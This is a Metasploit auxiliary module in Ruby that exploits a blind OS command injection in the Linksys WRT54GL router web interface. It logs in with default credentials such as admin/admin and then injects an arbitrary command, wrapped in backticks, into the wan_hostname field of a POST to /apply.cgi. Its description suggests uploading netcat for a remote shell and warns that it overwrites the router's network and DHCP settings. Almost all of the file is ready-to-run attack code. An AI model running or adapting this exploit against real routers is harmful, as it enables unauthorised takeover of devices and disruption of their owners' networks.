##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'Linksys WRT54GL Remote Command Execution',
			'Description'     => %q{
					Some Linksys Routers are vulnerable to OS Command injection.
				You will need credentials to the web interface to access the vulnerable part
				of the application.
				Default credentials are always a good starting point. admin/admin or admin
				and blank password could be a first try.
				Note: This is a blind OS command injection vulnerability. This means that
				you will not see any output of your command. Try a ping command to your
				local system and observe the packets with tcpdump (or equivalent) for a first test.

				Hint: To get a remote shell you could upload a netcat binary and exec it.
				WARNING: this module will overwrite network and DHCP configuration.
			},
			'Author'          => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],
					[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
					[ 'EDB', '24202' ],
					[ 'BID', '57459' ],
					[ 'OSVDB', '89421' ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 18 2013'))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
				OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
				OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
				OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
				OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
				OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
				OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
				OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
				OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
			], self.class)
	end

	# If the user configured LANIP, use it. Otherwise, use RHOST.
	# NB: This presumes a dotted quad ip address.
	def lan_ip
		if datastore['LANIP'].to_s.empty?
			datastore['RHOST']
		else
			datastore['LANIP']
		end
	end

	def run
		#setting up some basic variables
		uri = datastore['TARGETURI']
		user = datastore['USERNAME']
		rhost = datastore['RHOST']
		netmask = datastore['NETMASK']
		routername = datastore['ROUTER_NAME']
		wandomain = datastore['WAN_DOMAIN']
		wanmtu = datastore['WAN_MTU']

		ip = lan_ip.split('.')

		if datastore['PASSWORD'].nil?
			pass = ""
		else
			pass = datastore['PASSWORD']
		end

		print_status("Trying to login with #{user} / #{pass}")

		begin
			res = send_request_cgi({
				'uri'	 => uri,
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})

			unless (res.kind_of? Rex::Proto::Http::Response)
				vprint_error("#{rhost} not responding")
				return :abort
			end

			if (res.code == 404)
				print_error("Not Found page returned")
				return :abort
			end

			if [200, 301, 302].include?(res.code)
				print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
			else
				print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
				return :abort
			end

		rescue ::Rex::ConnectionError
			vprint_error("#{rhost} - Failed to connect to the web server")
			return :abort
		end

		cmd = datastore['CMD']

		print_status("Sending remote command: " + cmd)

		#cmd = Rex::Text.uri_encode(datastore['CMD'])
		#original Post Request:
		#data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
		#data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
		#data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
		#data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
		#data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
		#data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
		#data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
		#data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"

		vprint_status("using the following target URL: #{uri}")

		begin
			res = send_request_cgi({
				'uri'	=> uri,
				'method' => 'POST',
				'authorization' => basic_auth(user,pass),
				#'data' => data_cmd,

				'vars_post' => {
					'submit_button' => "index",
					'change_action' => "1",
					'submit_type' => "1",
					'action' => "Apply",
					'now_proto' => "dhcp",
					'daylight_time' => "1",
					'lan_ipaddr' => "4",
					'wait_time' => "0",
					'need_reboot' => "0",
					'ui_language' => "de",
					'wan_proto' => "dhcp",
					'router_name' => "#{routername}",
					'wan_hostname' => "`#{cmd}`",
					'wan_domain' => "#{wandomain}",
					'mtu_enable' => "1",
					'wan_mtu' => "#{wanmtu}",
					'lan_ipaddr_0' => "#{ip[0]}",
					'lan_ipaddr_1' => "#{ip[1]}",
					'lan_ipaddr_2' => "#{ip[2]}",
					'lan_ipaddr_3' => "#{ip[3]}",
					'lan_netmask' => "#{netmask}",
					'lan_proto' => "dhcp",
					'dhcp_check' => "1",
					'dhcp_start' => "100",
					'dhcp_num' => "50",
					'dhcp_lease' => "0",
					'wan_dns' => "4",
					'wan_dns0_0' => "0",
					'wan_dns0_1' => "0",
					'wan_dns0_2' => "0",
					'wan_dns0_3' => "0",
					'wan_dns1_0' => "0",
					'wan_dns1_1' => "0",
					'wan_dns1_2' => "0",
					'wan_dns1_3' => "0",
					'wan_dns2_0' => "0",
					'wan_dns2_1' => "0",
					'wan_dns2_2' => "0",
					'wan_dns2_3' => "0",
					'wan_wins' => "4",
					'wan_wins_0' => "0",
					'wan_wins_1' => "0",
					'wan_wins_2' => "0",
					'wan_wins_3' => "0",
					'time_zone' => "-08+1+1",
					'_daylight_time' => '1'
				}
			})
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost} - Failed to connect to the web server")
			return :abort
		end

		if res and res.code == 200
			print_status("Blind Exploitation - Response expected")
		else
			print_error("Blind Exploitation - Response don't expected")
		end
		print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
		print_status("Blind Exploitation - unknown Exploitation state")
	end
end

